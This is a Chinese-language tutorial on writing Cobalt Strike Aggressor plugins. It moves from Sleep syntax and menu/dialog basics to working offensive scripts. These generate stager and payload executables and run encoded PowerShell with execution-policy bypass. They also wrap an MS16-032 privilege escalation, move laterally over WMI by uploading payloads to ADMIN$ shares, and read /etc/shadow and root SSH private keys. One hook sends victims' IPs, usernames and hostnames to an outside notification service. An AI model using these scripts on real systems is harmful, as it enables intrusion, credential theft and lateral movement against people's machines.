CobaltStrike 插件编写指南

./agscript [host] [port] [user] [password]

on ready {
	println("多人运行已经准备好了！准备起飞！！！！"); # 登录显示信息
}

$name = "kris"; # 字符串变量的命名
$age = 18; # 数字型变量命名

Arrays类型：
@user_list = @("kris",18,"四川","单身"); # Sleep的阵列（列表）是类似python的那种任何元素的集合，不需要元素的类型统一
										也即是一种复合数据类型。
println(@name_list[0]); # 下标输出信息
 
Hashs类型
%dict["name"] = "kris";
%dict["age"] = 18;
%dict["address"] = "sichuan"; # 使用%号创建，有点和python的字典类似
    
println("Dict is ".%dict);

@name_list = @('kris',18,'sichuan');
foreach $var (@name_list)
{
   println($var);
}

@names = @("Hellen","Abao");
push(@names,"kris");


print("name :".@names);

sub say_hello{
	println("hello ".$1);# 定义一个函数，打印hello + 得到的参数
}

command N {
	say_hello($1); # 定义一个命令，并且将接受到的第一个参数传递给 say_hello函数。
}

println("\c0This is my color");
println("\c1This is my color"); # 这是黑色
println("\c2This is my color");
println("\c3This is my color");
println("\c4This is my color");
println("\c5This is my color");
println("\c6This is my color");
println("\c7This is my color");
println("\c8This is my color");
println("\c9This is my color");
println("\cAThis is my color");
println("\cBThis is my color");
println("\cCThis is my color");
println("\cDThis is my color");
println("\cEThis is my color");
println("\cFThis is my color");

bind <想绑定的组合键>
	{
		按下快捷键执行的命名;	
	}

bind Ctrl+H {
	show_message("使用键盘快捷键哦！"); # 弹窗显示我们的消息
	elog("使用了快捷键！"); # 在 Event Log位置显示信息
}

popup <菜单函数名>{
	        item("&<二级菜单显示>", {点击时执行的代码，或者函数}); # 第一个子菜单
        	separator(); #分割线
        	item("&<二级菜单名字>", {点击时执行的代码，或者函数}); # 第二个子菜单
        	separator(); #分割线
}

menubar("一级菜单显示名", "菜单函数名");

popup my_help{
	item("&这是百度",{url_open("http://www.baidu.com")});
	separator();
	item("&这是谷歌",{url_open("http://www.google.com")}); # url_open()这个函数是用来打开网站的
	
}
menubar("帮助菜单", "my_help"); # 菜单函数，一定要加上

popup help{
	item("&关于汉化",{show_message("4.1汉化 by XXX ")});
	separator();
}

popup test {
	item("&收集信息",{dialog_test()}); # 建立一个菜单栏目，点击收集信息时就调用show函数
}

menubar("测试菜单","test"); # 注册菜单

sub show {
	show_message("dialog的引用是：".$1."\n按钮名称是：".$2);
	println("用户名是：".$3["user"]."\n密码是：".$3["password"]);# 这里show函数接收到了dialog传递过来的参数，分

}
sub dialog_test {
	$info = dialog("这是对话框的标题",%(username => "root",password => ""),&show); #第一个是菜单的名字，第二个是我们下面定义的菜单显示内容的默认值，第三个参数是我们回调函数，触发show函数的时候显示，并将我们的输入值传递给他
	drow_text($info,"user","输入用户名："); # 设置一个用户名输入条
	drow_text($info,"password","输入密码"); 
	dbutton_action($info,"马上起飞！"); # 点击按钮，触发回调函数
	dbutton_help($info,"http://www.wgpsec"); # 显示帮助信息
	dialog_show($info); # 显示文本输入框
}

drow_text("变量名","提示语句");

dbutton_action($info,"按钮的名字")

dbutton_help($info,"https://www.wgpsec.org")

set EVENT_SBAR_LEFT { # 设置 Event Log状态栏左边的信息
	return "[" . tstamp(ticks()) . "] " . mynick()." 正在线上！！"; #显示的信息，tstamp(ticks())是显示时间。mynick()显示名字这里我在后面加上一个正在线上。
}

set EVENT_SBAR_RIGHT {
	return "[lag: $1 $+ ]";
}

on event_join {
	show_message($1."加入到服务器中！");
	elog(mynick()."来了！");
}

command info{
    println("IP地址：".targets()[$1]["address"]."\n操作系统：".targets()[$1]["os"]."\n用户名：".targets()[$1]["name"]);
}

    popup beacon_bottom{
    	item("&会话传递",{openPayloadHelper(lambda({
    	bspawn($bid, $1);
  	println("我们传递的监听器是".$1)},# 
        $bid => $1));});
  }

$data = artifact_stager("Tencent", "exe", "x64"); #选择监听器、生成类型、位数

$handle = openf(">Kris.exe"); # 生成的路径，这里是在当前执行的路径下
writeb($handle, $data); # 写入
closef($handle); # 关闭写入，不关闭会一直卡住	

$TcpStager = stager_bind_tcp("你的TCP监听器名称","位数","bind to 端口");
elog($TcpStager);

$SMB_stager = stager("SMB");
elog($SMB_stager);

$data = payload("Tencent", "x64");

$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);

x beacon_ids() #获取所有的会话ID

x beacon_info(beacon_ids()[0]) #获取所有信息

x beacon_info(beacon_ids()[0])["os"] #获取os信息

command show_all {
	foreach $entry (beacons()) { # 循环取出 会话ID
		println("== "."会话ID"."【". $entry['id'] ."】"."的信息如下"." ==");
		foreach $key => $value ($entry) { # 根据 ID 以次取出对应的 key和value
			println("$[15]key : $value");
		}
		println();
	}
}

alias info {
	blog($1,"我的名字是 $2 ，今年 $3 岁了，住在 $4 ");
}

on beacon_initial {
	show_message("你有新的主机上线！\n会话ID为：$1 \nOS为：".beacon_info($1,"os")."\n内网地址为:".beacon_info($1,"internal")); 
}

on beacon_initial_empty {
	bmode($1, "dns-txt");
	bcheckin($1);
}

on beacon_initial {
	show_message("你有新的主机上线！\n会话ID为：$1 \nOS为：".beacon_info($1,"os")."\n内网地址为:".beacon_info($1,"internal")); 
}

popup beacon_bottom{
	item("&在最下方",{});
}

popup beacon_top{
	item("在最下方",{});
}

binput(beacon_ids()[0],"在beacon中显示的信息");

binput(beacon_ids()[0],bshell(beacon_ids()[0],"whoami"));

# powershell 的编写源码

alias powershell {
	local('$args $cradle $runme $cmd');
	
	# $0 is the entire command with no parsing.
	$args   = substr($0, 11);
	
	# generate the download cradle (if one exists) for an imported PowerShell script
	$cradle = beacon_host_imported_script($1);
	
	# encode our download cradle AND cmdlet+args we want to run
	$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
	
	# Build up our entire command line.
	$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
	
	# task Beacon to run all of this.
	btask($1, "Tasked beacon to run: $args", "T1086");
	beacon_execute_job($1, "powershell", $cmd, 1);
}

alias shell {
	local('$args');
	$args = substr($0, 6);
	btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
	bsetenv!($1, "_", $args);
	beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
	local('$handle $script $oneliner');
	
	# acknowledge this command
	btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
	
	# read in the script
	$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
	$script = readb($handle, -1);
	closef($handle);
	
	# host the script in Beacon
	$oneliner = beacon_host_script($1, $script);
	
	# run the specified command via this exploit.
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
}

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));

# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
	local('$name $exedata');

	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");

	# we need a random file name.
	$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";

	# generate an EXE. $arch defined via &lambda when this function was registered with
	# beacon_remote_exploit_register
	$exedata = artifact_payload($3, "exe", $arch);

	# upload the EXE to our target (directly)
	bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);

	# execute this via WMI
	brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");

	# assume control of our payload (if it's an SMB or TCP Beacon)
	beacon_link($1, $2, $3);
}

beacon> ssh <IP>:<port><username><password>

command what {
	foreach @ID (beacon_ids()){
		if (-isssh @ID){
			println(@ID." 是liunx主机"." 机器名是：".beacon_info(@ID,"computer")." 用户名是：".beacon_info(@ID,"user"));
		}
		else{
			println(@ID." 是windo主机 "." 机器名是：".beacon_info(@ID,"computer")." 用户名是：".beacon_info(@ID,"user"));
		}
		}
}

ssh_alias hashdump {
	if (-isadmin $1) { # 判断是否为管理员，因为password非管理员不等查看
		binput($1,"导出passwod的HASH：")
		bshell($1, "cat /etc/shadow");
	}
	else {
		berror($1, "你不是管理员！！");
	}
}

ssh_alias ssh_demo{
	binput($1,"打印SSH私钥信息");
	bshell($1,"cat /root/.ssh/id_rsa");
}

ssh_alias find {
	bshell($1,"find / -name $2");
}

ssh_command_register (
	"find",
	"查找你想要的文件从根目录开始",
	"使用方式: find test.txt"
);

on ssh_initial {
	show_message("有新的LIUNX主机上线\nIP为".beacon_info($1,"internal")."\n主机名字为：".beacon_info($1,"computer"));

}

popup ssh {
	item "执行命令" {
		prompt_text("你想运行哪一个命令?", "w", lambda({
			binput(@ids, "shell $1");
			bshell(@ids, $1);
		}, @ids => $1));
	}
}

# 循环获取所有beacon
on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }
    #获取ip、计算机名、登录账号
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

    #get一下Server酱的链接
    $url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

}

#上线事件的监听

on beacon_initial {
	...... # 代码
}

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1]; # 实例化URL请求，$1为待输入的URl
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }

    #获取ip、计算机名、登录账号
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

    $url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

#
# Safe & sound HTTP request implementation for Cobalt Strike 4.0 Aggressor Script.
# Works with HTTP & HTTPS, GET/POST/etc. + redirections.
#
# Author: Mariusz B. / mgeeky, '20
# <mb [at] binary-offensive.com>
#

import java.net.URLEncoder;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;


#
# httpRequest($method, $url, $body);
#
sub httpRequest {
    $method = $1;
    $url = $2;
    $body = $3;
    $n = 0;

    if(size(@_) == 4) { $n = $4; }

    $bodyLen = strlen($body);
    $maxRedirectsAllowed = 10;
    if ($n > $maxRedirectsAllowed) {
        warn("Exceeded maximum number of redirects: $method $url ");
        return "";
    }

    try
    {
        $urlobj = [new java.net.URL: $url];
        $con = $null;
        $con = [$urlobj openConnection];
        [$con setRequestMethod: $method];
        [$con setInstanceFollowRedirects: true];
        [$con setRequestProperty: "Accept", "*/*"];
        [$con setRequestProperty: "Cache-Control", "max-age=0"];
        [$con setRequestProperty: "Connection", "keep-alive"];
        [$con setRequestProperty: "User-Agent", $USER_AGENT];

        if($bodyLen > 0) {
            [$con setDoOutput: true];
            [$con setRequestProperty: "Content-Type", "application/x-www-form-urlencoded"];
        }

        $outstream = [$con getOutputStream];
        if($bodyLen > 0) {
            [$outstream write: [$body getBytes]];
        }

        $inputstream = [$con getInputStream];
        $handle = [SleepUtils getIOHandle: $inputstream, $outstream];
        $responseCode = [$con getResponseCode];

        if(($responseCode >= 301) && ($responseCode <= 304)) {
            $loc = [$con getHeaderField: "Location"];
            return httpRequest($method, $loc, $body, $n + 1);
        }

        @content = readAll($handle);
        $response = "";
        foreach $line (@content) {
            $response .= $line . "\r\n";
        }

        if((strlen($response) > 2) && (right($response, 2) eq "\r\n")) {
            $response = substr($response, 0, strlen($response) - 2);
        }

        return $response;
    }
    catch $message
    {
       warn("HTTP Request failed: $method $url : $message ");
       printAll(getStackTrace());
       return "";
    }
}